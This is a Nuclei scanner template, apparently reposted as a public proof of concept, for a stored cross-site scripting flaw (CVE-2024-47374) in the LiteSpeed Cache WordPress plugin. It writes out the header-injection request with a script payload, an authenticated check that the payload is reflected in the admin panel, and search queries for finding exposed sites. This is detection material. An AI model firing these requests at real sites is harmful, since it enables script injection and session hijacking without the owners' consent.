LiteSpeed Technologies LiteSpeed Cache versions up to 6.5.0.2 contain a stored cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in victim browsers, exploit requires storing malicious input.
PoC代码[已公开]
id: CVE-2024-47374
info:
name: LiteSpeed Cache <= 6.5.0.2 - Stored XSS
author: Sourabh-Sahu
severity: high
description: |
LiteSpeed Technologies LiteSpeed Cache versions up to 6.5.0.2 contain a stored cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in victim browsers, exploit requires storing malicious input.
impact: |
Attackers can execute malicious scripts in victim browsers, leading to session hijacking, defacement, or redirection.
remediation: |
Update to the latest version of LiteSpeed Cache.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/litespeed-cache/litespeed-cache-61-unauthenticated-stored-cross-site-scripting
- https://patchstack.com/database/vulnerability/litespeed-cache/wordpress-litespeed-cache-plugin-6-5-0-2-cross-site-scripting-xss-vulnerability?_s_id=cve
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
cvss-score: 7.1
cve-id: CVE-2024-47374
cwe-id: CWE-79
epss-score: 0.2096
epss-percentile: 0.95431
cpe: cpe:2.3:a:litespeedtech:litespeed_cache:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 4
fofa-query: body=/wp-content/plugins/litespeed-cache/
google-query: inurl:"/wp-content/plugins/litespeed-cache/"
shodan-query: http.html:"/wp-content/plugins/litespeed-cache/"
tags: cve,cve2024,wordpress,wp-plugin,xss,stored,litespeed,authenticated,vkev
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
X-LSCACHE-VARY-VALUE: "><script>alert(1)</script>
matchers:
- type: dsl
dsl:
- status_code == 200
internal: true
- raw:
- |
GET /wp-login.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, "loginform")
condition: and
internal: true
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=litespeed-page_optm HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "><script>alert(1)</script>","litespeed")
condition: and
# digest: 4b0a00483046022100940d59670a6883ad144a97ea6983d693b0c2b4097a4e88529bce07fbdd5f3752022100c254c0d3617edeadcbe6bb03a62a509a1cba5127528c73e8e1c4b5aa8b3fe76b:922c64590222798bb761d5b6d8e72950